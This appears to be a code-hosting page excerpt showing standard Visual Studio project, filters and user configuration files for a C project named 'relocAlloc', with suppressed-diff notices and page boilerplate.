<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
```
|
||||
|
||||
`relocAlloc/relocAlloc.vcxproj.filters`:
|
||||
|
||||
```filters
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="relocAlloc.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
```
|
||||
|
||||
`relocAlloc/relocAlloc.vcxproj.user`:
|
||||
|
||||
```user
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
```
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user